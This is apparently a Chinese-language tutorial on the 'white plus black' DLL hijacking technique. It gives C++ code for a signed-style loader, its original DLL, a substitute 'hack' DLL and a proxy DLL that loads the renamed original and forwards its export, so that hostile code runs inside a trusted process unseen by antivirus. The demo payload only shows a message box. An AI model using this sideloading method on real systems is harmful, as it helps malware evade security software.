刚上高中那个暑假?记不太清了,好像就是那个时候开始的白加黑木马爆发,因为利用率几乎不可能解决的
逻辑缺陷,所以杀软的防御基本永远没法从根本上去拦截。百度也没什么这个漏洞的基础解析,下面通过编
程实现一个模拟这个漏洞的东西实现白加黑技术初步解析。
1.白利用漏洞基本原理:
利用了大公司代码的编写缺陷,比如某宝的某个exe程序,自带数字签名,他运行的时候会动态加载其目录下的dll文件
(loadlibrary),getprocaddress使用dll的扩展函数,但是loadlibrary的dll并未作验证,这样我们只要将
我们编写的同名木马dll放到他的目录下,运行这个带有签名的exe,让我们的木马dll加载到一个绝对可信空间,杀毒
软件碍于性能,检验粒度不可能精确到dll模块,所以exe的绝对可信会导致杀软放行一切行为,实施攻击。
2.下面使用自己编写的dll文件测试:
//带有漏洞的LOADER(白文件)
#include "windows.h"
#include "iostream.h"
void main()
{
HINSTANCE h;
h=LoadLibrary("3.dll");
typedef void (*SW)();
SW ShowMsg=(SW)GetProcAddress(h,"ShowMessage");
ShowMsg();
}
//加载其目录下的**3.dll**,并从中获取**ShowMessage**的地址然后动态调用
//原始的dll文件(未被替换的3.dll)
#include "windows.h"
void ShowMessage();
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,"2","2",MB_OK);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void ShowMessage()
{
MessageBox(NULL,"1","1",MB_OK);
}
//3.dll 只有一个导出函数ShowMessage(),用来弹出消息 (TEXT=1)
//3.dll Dllmain函数会在被加载时弹出消息 (TEXT=2)
3.预期效果
loader加载3.dll,然后进入dllmain函数除法TEXT=2消息,然后获取ShowMessage地址,调用这个函数弹出TEXT=1消息
实测达成预期
4.后门dll编写
//hack.dll ---改名--> 3.dll
#include "windows.h"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,"hack","hack",MB_OK);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
替换正常3.dll,弹出TEXT=hack 消息,并弹出错误提示,不能获得ShowMessage地址
怎么解决白loader一调用GetProcAddress就出错的问题?
6.加载白dll,动态将函数“拷贝”进入黑dll
用loadpe工具查看白dll的输出表,获得输出函数的名字
函数只有一个,名字叫ShowMessage,逆向得到这个函数的参数数目和参数类型,因为这里知道函数原型所以直接修改hack.dll
7.修改hack.dll加载原始dll并动态获取原始dll的函数赋值给hack.dll中的同名函数指针,使得原始loader调用getprocadderss时不会发生异常
//1.cpp
#include "windows.h"
typedef void (*SM)();
SM ShowMessage=NULL;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,"hack","hack",MB_OK);
HINSTANCE orgdll=LoadLibrary("2.dll");
ShowMessage=(SM)GetProcAddress(orgdll,"ShowMessage");
break;
}
return TRUE;
}
//hack.def
LIBRARY hack
EXPORTS
ShowMessage
弹出TEXT=hack消息然后弹出TEXT=2消息…….nice~~成功实现。
这里成功实现了dll劫持,但是并不清楚真正的白利用是不是这个方式,后续查阅资料,如果实现方式并非这种的话,我会续更的